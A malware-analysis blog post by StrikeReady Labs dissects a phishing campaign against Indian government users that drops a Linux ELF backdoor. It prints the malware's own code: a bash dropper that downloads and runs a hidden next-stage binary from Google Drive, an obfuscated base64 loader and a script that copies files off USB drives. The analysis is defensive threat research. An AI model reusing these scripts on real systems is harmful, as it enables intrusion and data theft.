This ELF is not your buddy

June 27, 2024 by StrikeReady Labs6 minutes

There’s an old joke that “Linux on the desktop is the future, and it always will be”. Although linux backdoors are not always novel, because Linux accounts for <5% of desktops, initial droppers for Linux are extremely rare for an initial compromise. To put it another way, users are not getting infected by .elf file attachments from email.

Except when they do.

An email was recently uploaded to VirusTotal, showing a compromised Indian government account sending a malicious mail to separate Indian government domain. The attachment format was what raised our eyebrows, however. The ZIP attachment contained a pdf, a docx, and an ELF. record scratch

Initial phish

Figure 1: Initial phish

8f609f60dd82dc13878b1d82ebc56e5056cb9274234df1510ee737e62ba22aaaApplication Form & Brochure.zipInitial attachment
90f7d3f354a1637d7467962fe87449532881d06ed76acaae696cc286cba02de7Application Form.pdfDecoy pdf
d7cf1c4dfcb10f1ad533413f419e6dd467783f82a87d6c309ba9a213457e035cHousing Project Brochure.docxDecoy docx
a074d391d575f6628fba3a90adb4673ea189512b55e7980d74fd816e354e10cbPasswordUPX-packed ELF binary
b5d73c422d9070eff12adb65a39a76188bd69de4a972108c78a2d3516627f5bePassword (unpacked)upx -d unpack command

Figure 2: Files unpacked that were attached

The Password is an ELF binary, that when you execute it, it pops a dialog box via:

zenity --info --no-wrap "--text=Your File Access Code is: 745 414" --title=Password

Dialog box that pops when the ELF is run

Figure 3: Dialog box that pops when the ELF is run

The pdf and docx are legitimately password protected with that password (the docx curiously doesn’t use a space in the numbers), which can be observed below:

password protected PDFafter decryption

Figure 4: Encrypted and decrypted PDF files

The “password” binary proceeds to execute a shell script, and fetch a number of files from Google Drive, all created by the account

 1if ! pgrep -x "gnucoreinfo" >/dev/null; then
 2  ###search for a process named gnucoreinfo, if does not exist, launch it###
 3  nohup sh -c 'cd ~/.x86_32-linux-gnu && ./gnucoreinfo > /dev/null 2>&1 &' >/dev/null 2>&1
 6if [ ! -d "$HOME/.x86_32-linux-gnu" ]; then
 7  ###if .x86_32-linux-gnu is not a directory, create it###
 8  mkdir "$HOME/.x86_32-linux-gnu" fi if [ ! -f "$HOME/.x86_32-linux-gnu/gnucoreinfo" ]; then
 9    ### if gnucoreinfo is not a file in that directory, download it, make it executable, ### and run it in the background###
10    curl -L -o "$HOME/.x86_32-linux-gnu/gnucoreinfo" "[.]com/uc?export=download&id=1VXY76hUXaWcXQBdbUZYjVhOHmI6fOUHV" >/dev/null 2>&1
11    chmod +x "$HOME/.x86_32-linux-gnu/gnucoreinfo"
12    cd "$HOME/.x86_32-linux-gnu"
13    if ! pgrep -x "gnucoreinfo" >/dev/null; then
14      nohup sh -c 'cd ~/.x86_32-linux-gnu && ./gnucoreinfo > /dev/null 2>&1 &' >/dev/null 2>&1
15    fi
16    cd

Figure 5: Initial bash script executed by Password ELF

gdrive tokenUPX packed file name ‘vmcoreinfo.txt’unpacked

Figure 5: UPX unpacked ELF from google drive

vmcoreinfo is another ELF with “DiscordGO”, and fetches three more files from Google Drive

Google drive IDSHA256filename

Figure 6: Next stages fetched from Google Drive

The BID file was a token for Discord (Bot ID), but the GTK-Theme-Parse had us briefly looking sideways at the monitor

 2"${@,,}" $BASH ${*%%u;q3} ${@,}
 3<<<"$( ${*~~} p'''r''i'\ntf 'QlpoOTFBWSZTWdHbOc0AACXfgERQfPfwG19mnpu/7//
16F3JFOFCQ0ds5zQA==' ${*/af*FB} | ${*//;=gV/%_MnfSkx} ba"
17  s "${@//ZJ6xPX7n/5oHg}e\64 -d " ${@^^}" |
18  ${*#9V-Z1>} bu$'\u006e'z''ip" ${@,,}
19"2 -c ${*~~} )" "${@//\[Q1m%W2/\[Duwv3bC}" ${*//\(^$\Otl/__+y7p}

Figure 7: obfuscated bash fetched

Your eyes can probably notice the base64 chunk, as well as simple obfuscation around ‘printf’ and ‘bunzip2’. You may notice junk obfuscation, such as ${@^^} and ${@,,}, which simply make script arguments upper and lower case. It’s easiest to simply decode the base64 and bunzip it, which ironically gives us an unobfuscated script, neatly documented. As you can see, it copies files from usb sticks, and records the metadata. There was a separate but related attack mentioned by Sir Tom at Volexity, as well as researchers at Blackberry. Rather than reinvent the wheel, you can head there to see more technical details on the ELF, including some slick command and control using emojis. The rest of this blog will be showing how to find variants.

 1# Define the directory paths
 6# Function to copy files from USB drive to destination folder
 7copy_files() {
 8  device_name="$1"
 9  device_path="$USB_DIR/$device_name"
10  folder_name="$DEST_DIR/$device_name"
11  record_file="$folder_name/$RECORD_FILE"
13  # Create destination folder if it doesn't exist
14  mkdir -p "$folder_name"
16  # Copy new files to destination folder, rename, and add to record.txt
17  find "$device_path" -type f | while read -r filepath; do
18    filename=$(basename "$filepath")
20    # Check if filename already exists in record.txt
21    if ! grep -q "^$filename$" "$record_file"; then
22      echo "$filename" >> "$record_file"
23      cp "$filepath" "$folder_name/UZB_$filename"
24      echo "File copied: $filename"
25    else
26      echo "File skipped: $filename"
27    fi done
30# Main loop
31while true; do
32  # Check for connected USB drives
33  drives=($USB_DIR/*)
35  # Iterate through connected drives
36  for drive_path in "${drives[@]}"; do
37    drive=$(basename "$drive_path")
39    # Check if record.txt exists for the drive
40    if [ ! -d "$DEST_DIR/$drive" ] || [ ! -f "$DEST_DIR/$drive/$RECORD_FILE" ]; then
41      # Copy files if record.txt doesn't exist
42      copy_files "$drive"
43    else
44      # Copy new files to destination folder, rename, and add to record.txt
45      copy_files "$drive"
46    fi
47  done
49  # Wait for 10 seconds before the next iteration
50  sleep 10

Figure 8: Final script that polls /media mount point looking for interesting files to steal

Diagram of execution

Figure 9: Diagram of execution

To find similar files, we noticed interesting pivot points such as:

Pivot pointExample match
/home/hackerex/home/hackerex/Desktop/Golang_Dev/Discord/14/New file testing/Password.go
zenity --info --no-wrap (behavior)zenity --info --no-wrap "--text=Your File Access Code is: 627 914" --title=Password
error setting up cron job:error setting up cron job: %v*/5 * * * * bash -i -c ’exit'

Figure 10: suggested ways to find similar files

We were able to find some similar top level files, and the subsequent next stages. We have shared these on our github at the end of the post

CARA assisting the analyst find variants

Figure 11: CARA assisting the analyst find variants

sha256filenameupx unpacked
44504a847b36d8c76dbe9e1bdc63fd7e4cac41fa93f392317abfcabdbb6044deIndia_Emerging_Global_Economynot upx packed

Figure 12: Other top-level droppers discovered

Next stages, see github for downloadsfilenamenotes[.]com/uc?export=download&id=134lLfuotAVNi1kwXGM0ebYEQXmcZzXZDLAN_Conf.txtbash control script[.]com/uc?export=download&id=17-zY-F8mX5SdiMGckLXfaLUFdHXKlZ3BWAN_Conf.txtelf[.]com/uc?export=download&id=198iFGb-HSg7hVzCSwji9XsNhKWXj86zgGTK-Theme-Parse.txtbase64 → bzip → bash script[.]com/uc?export=download&id=1K5mXjTAhvT-trugsBwWK-kxQ0IHzJm2qvmcoreinfo.txtbase64 elf[.]com/uc?export=download&id=1Qo0aaS4JqsM8HZApxguvKavQ71u_dYZevmcoreinfo.txt1227fd4c67541505448bc67f2a8fe8dd8efde758365f0aeab7a6852fd30bbc43 → ed52e2fbb7ffe95824e5bfc8963578a6f3fd50e9d34c579c7b1bd6bdf922b4d3 upx[.]com/uc?export=download&id=1TgaT2DtSH12t-3EHBDinpxQNAouKbBTqIndia_Emerging_Global_Economy.pdfdecoy PDF[.]com/uc?export=download&id=1VXY76hUXaWcXQBdbUZYjVhOHmI6fOUHVvmcoreinfo.txt[.]com/uc?export=download&id=1Vmuu0JGueRgR8nUEtyzYOMqFeU91_J-Bvmcoreinfo.txt[.]com/uc?export=download&id=1XvW8ir8l0G9axv4lhEvQFOxOyzmMV64tGID2.txtchannel id[.]com/uc?export=download&id=1btUsB3nWehTNW8Cho9Wv3Efrt4c6EhI_GTK-Theme-Parse.txtbzip’d bash[.]com/uc?export=download&id=1dlI8jSabaeJT1MnQxiih0Ww-hZrG-GAeBID2.txtbot ID[.]com/uc?export=download&id=1hLuUjYw-kb8R2eIQ39A9A1WdwWGHsGGtdrivers_update_check.txtfa3279aa22eac728d483c946ba714c7ec91b02ab262560b8d85a3acb03160a29 → 9a9fbce37ebe327b95059ca74ede15cc4b536f92e21cc9c2546efd1b638c99c7 upx[.]com/uc?export=download&id=1mmllHvOps_P9VrOFvVLhRV-m78fKZyO2WAN_conf.txtead993c1d537c239750e19a5700a58501dab319d5d271bf85137608448c1faa0 → fe7e7a5a1b1d634dec3fc9c6bc91c6e96ec635fece5af10cfac894fd228ca38d upx[.]com/uc?export=download&id=17CwwbWtDTtCXnXGlUVq4Bn3ibsRxGujfGID3.txtchannel id[.]com/uc?export=download&id=1FjufdMwRhNRS1ZCQ_1AnjQWN9-pwLVOpBID1.txtbot token[.]com/uc?export=download&id=1RC-03-VI9l855JsvqmPQ1sGK0dCAWsjyBID3.txtbot token[.]com/uc?export=download&id=1hHqEimmmZBmu0jJUz_qkvErvAecnkrW5GID1.txtchannel id
other urls on ordai[.]quest and clawsindia[.]insee blackberry & volexity posts

Figure 13: Subsequent files dropped by each top-level file

VendorThreat Actor name
You?Get in touch for blog pre-releases!

Figure 14: Other validated vendor names for this actor

Our github provides a download to both the raw samples mentioned in the blog, as well as the indicators mentioned.


The authors would like to thank the reviewers, as well as peer vendors, for their comments and corrections. Please get in touch at if you have corrections, or would like to collaborate on research.